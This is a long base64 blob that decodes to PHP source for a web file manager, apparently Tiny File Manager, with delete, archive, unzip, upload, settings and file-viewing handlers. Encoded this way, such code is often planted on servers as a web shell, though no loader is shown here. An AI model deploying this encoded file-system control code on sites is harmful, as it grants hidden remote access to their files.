zcG9uc2UpOwogICAgZXhpdCgpOwp9CgovLyBNYXNzIGRlbGV0aW5nCmlmIChpc3NldCgkX1BPU1RbJ2dyb3VwJ10sICRfUE9TVFsnZGVsZXRlJ10sICRfUE9TVFsndG9rZW4nXSkgJiYgIUZNX1JFQURPTkxZKSB7CgogICAgaWYoIXZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHsKICAgICAgICBmbV9zZXRfbXNnKGxuZygiSW52YWxpZCBUb2tlbi4iKSwgJ2Vycm9yJyk7CiAgICB9CgogICAgJHBhdGggPSBGTV9ST09UX1BBVEg7CiAgICBpZiAoRk1fUEFUSCAhPSAnJykgewogICAgICAgICRwYXRoIC49ICcvJyAuIEZNX1BBVEg7CiAgICB9CgogICAgJGVycm9ycyA9IDA7CiAgICAkZmlsZXMgPSAkX1BPU1RbJ2ZpbGUnXTsKICAgIGlmIChpc19hcnJheSgkZmlsZXMpICYmIGNvdW50KCRmaWxlcykpIHsKICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGYpIHsKICAgICAgICAgICAgaWYgKCRmICE9ICcnKSB7CiAgICAgICAgICAgICAgICAkbmV3X3BhdGggPSAkcGF0aCAuICcvJyAuICRmOwogICAgICAgICAgICAgICAgaWYgKCFmbV9yZGVsZXRlKCRuZXdfcGF0aCkpIHsKICAgICAgICAgICAgICAgICAgICAkZXJyb3JzKys7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYgKCRlcnJvcnMgPT0gMCkgewogICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnU2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlciBkZWxldGVkJykpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdFcnJvciB3aGlsZSBkZWxldGluZyBpdGVtcycpLCAnZXJyb3InKTsKICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgIGZtX3NldF9tc2cobG5nKCdOb3RoaW5nIHNlbGVjdGVkJyksICdhbGVydCcpOwogICAgfQoKICAgICRGTV9QQVRIPUZNX1BBVEg7IGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsKfQoKLy8gUGFjayBmaWxlcyB6aXAsIHRhcgppZiAoaXNzZXQoJF9QT1NUWydncm91cCddLCAkX1BPU1RbJ3Rva2VuJ10pICYmIChpc3NldCgkX1BPU1RbJ3ppcCddKSB8fCBpc3NldCgkX1BPU1RbJ3RhciddKSkgJiYgIUZNX1JFQURPTkxZKSB7CgogICAgaWYoIXZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHsK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b25lX2ZpbGUgPSByZXNldCgkZmlsZXMpOwogICAgICAgICAgICAkb25lX2ZpbGUgPSBiYXNlbmFtZSgkb25lX2ZpbGUpOwogICAgICAgICAgICAkemlwbmFtZSA9ICRvbmVfZmlsZSAuICdfJyAuIGRhdGUoJ3ltZF9IaXMnKSAuICcuJy4kZXh0OwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICR6aXBuYW1lID0gJ2FyY2hpdmVfJyAuIGRhdGUoJ3ltZF9IaXMnKSAuICcuJy4kZXh0OwogICAgICAgIH0KCiAgICAgICAgaWYoJGV4dCA9PSAnemlwJykgewogICAgICAgICAgICAkemlwcGVyID0gbmV3IEZNX1ppcHBlcigpOwogICAgICAgICAgICAkcmVzID0gJHppcHBlci0+Y3JlYXRlKCR6aXBuYW1lLCAkZmlsZXMpOwogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICd0YXInKSB7CiAgICAgICAgICAgICR0YXIgPSBuZXcgRk1fWmlwcGVyX1RhcigpOwogICAgICAgICAgICAkcmVzID0gJHRhci0+Y3JlYXRlKCR6aXBuYW1lLCAkZmlsZXMpOwogICAgICAgIH0KCiAgICAgICAgaWYgKCRyZXMpIHsKICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnQXJjaGl2ZScpLicgPGI+JXM8L2I+ICcubG5nKCdDcmVhdGVkJyksIGZtX2VuYygkemlwbmFtZSkpKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnQXJjaGl2ZSBub3QgY3JlYXRlZCcpLCAnZXJyb3InKTsKICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgIGZtX3NldF9tc2cobG5nKCdOb3RoaW5nIHNlbGVjdGVkJyksICdhbGVydCcpOwogICAgfQoKICAgICRGTV9QQVRIPUZNX1BBVEg7IGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsKfQ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dmFpbGFibGUnKSwgJ2Vycm9yJyk7CiAgICAgICAgJEZNX1BBVEg9Rk1fUEFUSDsgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOwogICAgfQoKICAgIGlmICgkaXNWYWxpZCkgewogICAgICAgIC8vdG8gZm9sZGVyCiAgICAgICAgJHRvZm9sZGVyID0gJyc7CiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsndG9mb2xkZXInXSkpIHsKICAgICAgICAgICAgJHRvZm9sZGVyID0gcGF0aGluZm8oJHppcF9wYXRoLCBQQVRISU5GT19GSUxFTkFNRSk7CiAgICAgICAgICAgIGlmIChmbV9ta2RpcigkcGF0aCAuICcvJyAuICR0b2ZvbGRlciwgdHJ1ZSkpIHsKICAgICAgICAgICAgICAgICRwYXRoIC49ICcvJyAuICR0b2ZvbGRlcjsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgaWYoJGV4dCA9PSAiemlwIikgewogICAgICAgICAgICAkemlwcGVyID0gbmV3IEZNX1ppcHBlcigpOwogICAgICAgICAgICAkcmVzID0gJHppcHBlci0+dW56aXAoJHppcF9wYXRoLCAkcGF0aCk7CiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gInRhciIpIHsKICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgICRnemlwcGVyID0gbmV3IFBoYXJEYXRhKCR6aXBfcGF0aCk7CiAgICAgICAgICAgICAgICBpZiAoQCRnemlwcGVyLT5leHRyYWN0VG8oJHBhdGgsbnVsbCwgdHJ1ZSkpIHsKICAgICAgICAgICAgICAgICAgICAkcmVzID0gdHJ1ZTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJHJlcyA9IGZhbHNlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHsKICAgICAgICAgICAgICAgIC8vVE9ET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HQoKSA/PiIsCiAgICAgICAgICAgIGluaXQ6IGZ1bmN0aW9uICgpIHsKICAgICAgICAgICAgICAgIHRoaXMub24oInNlbmRpbmciLCBmdW5jdGlvbiAoZmlsZSwgeGhyLCBmb3JtRGF0YSkgewogICAgICAgICAgICAgICAgICAgIGxldCBfcGF0aCA9IChmaWxlLmZ1bGxQYXRoKSA/IGZpbGUuZnVsbFBhdGggOiBmaWxlLm5hbWU7CiAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImZ1bGxwYXRoIikudmFsdWUgPSBfcGF0aDsKICAgICAgICAgICAgICAgICAgICB4aHIub250aW1lb3V0ID0gKGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgICAgICAgICB0b2FzdCgnRXJyb3I6IFNlcnZlciBUaW1lb3V0Jyk7CiAgICAgICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICAgICB9KS5vbigic3VjY2VzcyIsIGZ1bmN0aW9uIChyZXMpIHsKICAgICAgICAgICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgICAgICAgICBsZXQgX3Jlc3BvbnNlID0gSlNPTi5wYXJzZShyZXMueGhyLnJlc3BvbnNlKTsKCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKF9yZXNwb25zZS5zdGF0dXMgPT0gImVycm9yIikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgdG9hc3QoX3Jlc3BvbnNlLmluZm8pOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfSBjYXRjaCAoZSkgewogICAgICAgICAgICAgICAgICAgICAgICB0b2FzdCgiRXJyb3I6IEludmFsaWQgSlNPTiByZXNwb25zZSIpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0pLm9uKCJlcnJvciIsIGZ1bmN0aW9uKGZpbGUsIHJlc3BvbnNlKSB7CiAgICAgICAgICAgICAgICAgICAgdG9hc3QocmVzcG9uc2U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LWNoZXZyb24tY2lyY2xlLWxlZnQiPjwvaT4gLi48L2E+PC9saT4KICAgICAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgIH0KICAgICAgICAgICAgZm9yZWFjaCAoJGZvbGRlcnMgYXMgJGYpIHsKICAgICAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgICA8bGk+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIIC4gJy8nIC4gJGYsICcvJykpID8+JmFtcDtjb3B5PTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRjb3B5KSA/PiI+PGkgY2xhc3M9ImZhIGZhLWZvbGRlci1vIj48L2k+IDw/cGhwIGVjaG8gZm1fY29udmVydF93aW4oJGYpID8+PC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8P3BocAogICAgICAgICAgICB9CiAgICAgICAgICAgID8+CiAgICAgICAgPC91bD4KICAgIDwvZGl2PgogICAgPD9waHAKICAgIGZtX3Nob3dfZm9vdGVyKCk7CiAgICBleGl0Owp9CgppZiAoaXNzZXQoJF9HRVRbJ3NldHRpbmdzJ10pICYmICFGTV9SRUFET05MWSkgewogICAgZm1fc2hvd19oZWFkZXIoKTsgLy8gSEVBREVSCiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpOyAvLyBjdXJyZW50IHBhdGgKICAgIGdsb2JhbCAkY2ZnLCAkbGFuZywgJGxhbmdfbGlzdDsKICAgID8+CgogICAgPGRpdiBjbGFzcz0iY29sLW1kLTggb2Zmc2V0LW1kLTIgcHQtMyI+CiAgICAgICAgPGRpdiBjbGFzcz0iY2FyZCBtYi0yIDw/cGhwIGVjaG8gZm1fZ2V0X3RoZW1lKCk7ID8+Ij4KICAgICAgICAgICAgPGg2IGNsYXNzPSJjYXJkLWhlYWRlciBkLWZsZXgganVzdGlmeS1jb250ZW50LWJldHdlZW4iPgogICAgICAgICAgICAgICAgPHNwYW4+PGkgY2x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gICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBnZXRTZWxlY3RlZCgkbCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbG9iYWwgJGxhbmc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAoJGxhbmcgPT0gJGwpID8gJ3NlbGVjdGVkJyA6ICcnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkbGFuZ19saXN0IGFzICRrID0+ICR2KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9JyRrJyAiLmdldFNlbGVjdGVkKCRrKS4iPiR2PC9vcHRpb24+IjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0PgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtdC0zIG1iLTMgcm93ICI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9ImpzLWVycm9yLXJlcG9ydCIgY2xhc3M9ImNvbC1zbS0zIGNvbC1mb3JtLWxhYmVsIj48P3BocCBlY2hvIGxuZygnRXJyb3JSZXBvcnRpbmcnKSA/PjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1zbS05Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tY2hlY2sgZm9ybS1zd2l0Y2giPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImZvcm0tY2hlY2staW5wdXQiIHR5cGU9ImNoZWNrYm94IiByb2xlPSJzd2l0Y2giIGlkPSJqcy1lcnJvci1yZXBvcnQiIG5hbWU9ImpzLWVycm9yLXJlcG9ydCIgdmFsdWU9InRydWUiIDw/cGhwIGVjaG8gJHJlcG9ydF9lcnJvcnMgPyAnY2hlY2tlZCcgOiAnJzsgPz4gLz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWItMyByb3ciPgogICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJqcy1zaG93LWhpZGRlbiIgY2xhc3M9ImNvbC1zbS0zIGNvbC1mb3JtLWxhYmVsIj48P3BocCBlY2hvIGxuZygnU2hvd0hpZGRlbkZpbGVzJykgPz48L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtc20tOSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWNoZWNrIGZvcm0tc3dpdGNoIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJmb3JtLWNoZWNrLWlucHV0IiB0eXBlPSJjaGVja2JveCIgcm9sZT0ic3dpdGNoIiBpZD0ianMtc2hvdy1oaWRkZW4iIG5hbWU9ImpzLXNob3ctaGlkZGVuIiB2YWx1ZT0idHJ1ZSIgPD9waHAgZWNobyAkc2hvd19oaWRkZW5fZmlsZXMgPyAnY2hlY2tlZCcgOiAnJzsgPz4gLz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWItMyByb3ciPgogICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJqcy1oaWRlLWNvbHMiIGNsYXNzPSJjb2wtc20tMyBjb2wtZm9ybS1sYWJlbCI+PD9waHAgZWNobyBsbmcoJ0hpZGVDb2x1bW5zJykgPz48L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtc20tOSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWNoZWNrIGZvcm0tc3dpdGNoIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJmb3JtLWNoZWNrLWlucHV0IiB0eXBlPSJjaGVja2JveCIgcm9sZT0ic3dpdGNoIiBpZD0ianMtaGlkZS1jb2xzIiBuYW1lPSJqcy1oaWRlLWNvbHMiIHZhbHVlPSJ0cnVlIiA8P3BocCBlY2hvICRoaWRlX0NvbHMgPyAnY2hlY2tlZCcgOiAnJzsgPz4gLz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWItMyByb3ciPgogICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJqcy0zLTEiIGNsYXNzPSJjb2wtc20tMyBjb2wtZm9ybS1sYWJlbCI+PD9waHAgZWNobyBsbmcoJ1RoZW1lJykgPz48L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtc20tNSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IGNsYXNzPSJmb3JtLXNlbGVjdCB3LTEwMCIgaWQ9ImpzLTMtMCIgbmFtZT0ianMtdGhlbWUtMyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0nbGlnaHQnIDw/cGhwIGlmKCR0aGVtZSA9PSAibGlnaHQiKXtlY2hvICJzZWxlY3RlZCI7fSA/Pj48P3BocCBlY2hvIGxuZygnbGlnaHQnKSA/Pjwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9J2RhcmsnIDw/cGhwIGlmKCR0aGVtZSA9PSAiZGFyayIpe2VjaG8gInNlbGVjdGVkIjt9ID8+Pjw/cGhwIGVjaG8gbG5nKCdkYXJrJykgPz48L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0PgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWItMyByb3ciPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtc20tMTAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXN1Y2Nlc3MiPiA8aSBjbGFzcz0iZmEgZmEtY2hlY2stY2lyY2xlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdTYXZlJyk7ID8+PC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KICAgIDw/cGhwCiAgICBmbV9zaG93X2Zvb3RlcigpOwogICAgZXhpdDsKfQoKaWYgKGlzc2V0KCRfR0VUWydoZWxwJ10pKSB7CiAgICBmbV9zaG93X2hlYWRlcigpOyAvLyBIRUFERVIKICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7IC8vIGN1cnJlbnQgcGF0aAogICAgZ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gaHJlZj0iamF2YXNjcmlwdDpzaG93X25ld19wd2QoKTsiPjxpIGNsYXNzPSJmYSBmYS1sb2NrIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdHZW5lcmF0ZSBuZXcgcGFzc3dvcmQgaGFzaCcpID8+PC9hPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyBqcy1uZXctcHdkIGhpZGRlbiBtdC0yIj4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtMTIiPgogICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz0iZm9ybS1pbmxpbmUiIG9uc3VibWl0PSJyZXR1cm4gbmV3X3Bhc3N3b3JkX2hhc2godGhpcykiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idHlwZSIgdmFsdWU9InB3ZGhhc2giIGFyaWEtbGFiZWw9ImhpZGRlbiIgYXJpYS1oaWRkZW49InRydWUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBtYi0yIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJzdGF0aWNFbWFpbDIiPjw/cGhwIGVjaG8gbG5nKCdHZW5lcmF0ZSBuZXcgcGFzc3dvcmQgaGFzaCcpID8+PC9sYWJlbD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBteC1zbS0zIG1iLTIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9ImlucHV0UGFzc3dvcmQyIiBjbGFzcz0ic3Itb25seSI+PD9waHAgZWNobyBsbmcoJ1Bhc3N3b3JkJykgPz48L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sIGJ0bi1zbSIgaWQ9ImlucHV0UGFzc3dvcmQyIiBuYW1lPSJpbnB1dFBhc3N3b3JkMiIgcGxhY2Vob2xkZXI9Ijw/cGhwIGVjaG8gbG5nKCdQYXNzd29yZCcpID8+IiByZXF1aXJlZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXN1Y2Nlc3MgYnRuLXNtIG1iLTIiPjw/cGhwIGVjaG8gbG5nKCdHZW5lcmF0ZScpID8+PC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICAgICAgPHRleHRhcmVhIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHJvd3M9IjIiIHJlYWRvbmx5IGlkPSJqcy1wd2QtcmVzdWx0Ij48L3RleHRhcmVhPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+CiAgICA8P3BocAogICAgZm1fc2hvd19mb290ZXIoKTsKICAgIGV4aXQ7Cn0KCi8vIGZpbGUgdmlld2VyCmlmIChpc3NldCgkX0dFVFsndmlldyddKSkgewogICAgJGZpbGUgPSAkX0dFVFsndmlldyddOwogICAgJGZpbGUgPSBmbV9jbGVhbl9wYXRoKCRmaWxlLCBm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aSVAgaW5mbwogICAgICAgICAgICAgICAgaWYgKCgkaXNfemlwIHx8ICRpc19nemlwKSAmJiAkZmlsZW5hbWVzICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICR0b3RhbF9maWxlcyA9IDA7CiAgICAgICAgICAgICAgICAgICAgJHRvdGFsX2NvbXAgPSAwOwogICAgICAgICAgICAgICAgICAgICR0b3RhbF91bmNvbXAgPSAwOwogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlbmFtZXMgYXMgJGZuKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJGZuWydmb2xkZXInXSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRvdGFsX2ZpbGVzKys7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJHRvdGFsX2NvbXAgKz0gJGZuWydjb21wcmVzc2VkX3NpemUnXTsKICAgICAgICAgICAgICAgICAgICAgICAgJHRvdGFsX3VuY29tcCArPSAkZm5bJ2ZpbGVzaXplJ107CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBsbmcoJ0ZpbGVzIGluIGFyY2hpdmUnKSA/PjogPD9waHAgZWNobyAkdG90YWxfZmlsZXMgPz48YnI+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBsbmcoJ1RvdGFsIHNpemUnKSA/PjogPD9waHAgZWNobyBmbV9nZXRfZmlsZXNpemUoJHRvdGFsX3VuY29tcCkgPz48YnI+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBsbmcoJ1NpemUgaW4gYXJjaGl2ZScpID8+OiA8P3BocCBlY2hvIGZtX2dldF9maWxlc2l6ZSgkdG90YWxfY29tcCkgPz48YnI+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBsbmcoJ0NvbXByZXNzaW9uJykgPz46IDw/cGhwIGVjaG8gcm91bmQoKCR0b3RhbF9jb21wIC8gbWF4KCR0b3RhbF91bmNvbXAsIDEpKSAqIDEwMCkgPz4lPGJyPgogICAgICAgICAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAvLyBJbWFnZSBpbmZvCiAgICAgICAgICAgICAgICBpZiAoJGlzX2ltYWdlKSB7CiAgICAgICAgICAgICAgICAgICAgJGltYWdlX3NpemUgPSBnZXRpbWFnZXNpemUoJGZpbGVfcGF0aCk7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPHN0cm9uZz4nLmxuZygnSW1hZ2Ugc2l6ZScpLic6PC9zdHJvbmc+ICcgLiAoaXNzZXQoJGltYWdlX3NpemVbMF0pID8gJGltYWdlX3NpemVbMF0gOiAnMCcpIC4gJyB4ICcgLiAoaXNzZXQoJGltYWdlX3NpemVbMV0pID8gJGltYWdlX3NpemVbMV0gOiAnMCcpIC4gJzxicj4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgLy8gVGV4dCBpbmZvCiAgICAgICAgICAgICAgICBpZiAoJGlzX3RleHQpIHsKICAgICAgICAgICAgICAgICAgICAkaXNfdXRmOCA9IGZtX2lzX3V0ZjgoJGNvbnRlbnQpOwogICAgICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2ljb252JykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkaXNfdXRmOCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbnRlbnQgPSBpY29udihGTV9JQ09OVl9JTlBVVF9FTkMsICdVVEYtOC8vSUdOT1JFJywgJGNvbnRlbnQpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxzdHJvbmc+Jy5sbmcoJ0NoYXJzZXQnKS4nOjwvc3Ryb25nPiAnIC4gKCRpc191dGY4ID8gJ3V0Zi04JyA6ICc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ljZWFwcHMubGl2ZS5jb20vb3AvZW1iZWQuYXNweD9zcmM9JyAuIGZtX2VuYygkZmlsZV91cmwpIC4gJyIgZnJhbWVib3JkZXI9Im5vIiBzdHlsZT0id2lkdGg6MTAwJTttaW4taGVpZ2h0OjQ2MHB4Ij48L2lmcmFtZT4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2VpZiAoJGlzX3ppcCkgewogICAgICAgICAgICAgICAgLy8gWklQIGNvbnRlbnQKICAgICAgICAgICAgICAgIGlmICgkZmlsZW5hbWVzICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxjb2RlIGNsYXNzPSJtYXhoZWlnaHQiPic7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGZpbGVuYW1lcyBhcyAkZm4pIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRmblsnZm9sZGVyJ10pIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxiPicgLiBmbV9lbmMoJGZuWyduYW1lJ10pIC4gJzwvYj48YnI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJGZuWyduYW1lJ10gLiAnICgnIC4gZm1fZ2V0X2ZpbGVzaXplKCRmblsnZmlsZXNpemUnXSkgLiAnKTxicj4nOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvY29kZT4nOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8cD4nLmxuZygnRXJyb3Igd2hpbGUgZmV0Y2hpbmcgYXJjaGl2ZSBpbmZvJykuJzwvcD4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2VpZiAoJGlzX2ltYWdlKSB7CiAgICAgICAgICAgICAgICAvLyBJbWFnZSBjb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h0CiAgICAgICAgICAgICAgICAgICAgJGhsanNfY2xhc3NlcyA9IGFycmF5KAogICAgICAgICAgICAgICAgICAgICAgICAnc2h0bWwnID0+ICd4bWwnLAogICAgICAgICAgICAgICAgICAgICAgICAnaHRhY2Nlc3MnID0+ICdhcGFjaGUnLAogICAgICAgICAgICAgICAgICAgICAgICAncGh0bWwnID0+ICdwaHAnLAogICAgICAgICAgICAgICAgICAgICAgICAnbG9jaycgPT4gJ2pzb24nLAogICAgICAgICAgICAgICAgICAgICAgICAnc3ZnJyA9PiAn